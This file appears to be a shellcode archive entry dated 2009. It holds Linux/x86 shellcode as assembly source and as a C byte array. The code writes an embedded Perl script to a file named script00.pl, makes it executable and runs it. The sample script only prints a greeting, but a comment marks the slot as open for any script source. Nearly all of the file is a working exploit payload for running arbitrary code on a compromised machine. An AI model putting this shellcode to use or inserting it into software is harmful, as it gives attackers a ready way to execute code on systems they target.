/*
Author : darkjoker
Site : http://darkjoker.net23.net
Shellcode : linux/x86 Perl script execution 99 bytes + script length
.global _start
_start:
xor %eax, %eax
xor %ebx, %ebx
xor %ecx, %ecx
xor %edx, %edx
xor %edi, %edi
xor %esi, %esi
push %eax
push $0x6c702e30
push $0x30307470
push $0x69726373
mov %esp, %ebx
movb $0x5, %al
movb $0x41, %cl
int $0x80
jmp one
two:
mov %ebx, %esi
mov %eax, %ebx
pop %edi
push %edi
// Begin http://www.int80h.org/strlen/
xor %ecx, %ecx
xor %eax, %eax
not %ecx
repne scasb
not %ecx
dec %ecx
// End http://www.int80h.org/strlen/
pop %edi
mov %ecx, %eax
mov %edi, %ecx
mov %eax, %edx
movb $0x4, %al
int $0x80
movb $0x6, %al
int $0x80
mov %esi, %ebx
movb $0xf, %al
movw $0x1fc, %cx
int $0x80
movb $0xb, %al
xor %ecx, %ecx
xor %edx, %edx
int $0x80
movb $0x1, %al
xor %ebx, %ebx
int $0x80
one:
call two
.string "#!/usr/bin/perl\nprint (\"Hello world!\\n\");\n"
*/
char main [] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\x31\xff\x31\xf6\x50\x68\x30\x2e"
"\x70\x6c\x68\x70\x74\x30\x30\x68"
"\x73\x63\x72\x69\x89\xe3\xb0\x05"
"\xb1\x41\xcd\x80\xeb\x38\x89\xde"
"\x89\xc3\x5f\x57\x31\xc9\x31\xc0"
"\xf7\xd1\xf2\xae\xf7\xd1\x49\x5f"
"\x89\xc8\x89\xf9\x89\xc2\xb0\x04"
"\xcd\x80\xb0\x06\xcd\x80\x89\xf3"
"\xb0\x0f\x66\xb9\xfc\x01\xcd\x80"
"\xb0\x0b\x31\xc9\x31\xd2\xcd\x80"
"\xb0\x01\x31\xdb\xcd\x80\xe8\xc3"
"\xff\xff\xff"
"#!/usr/bin/perl\nprint (\"Hello world!\\n\");\n"; // Here script source
// milw0rm.com [2009-03-03]
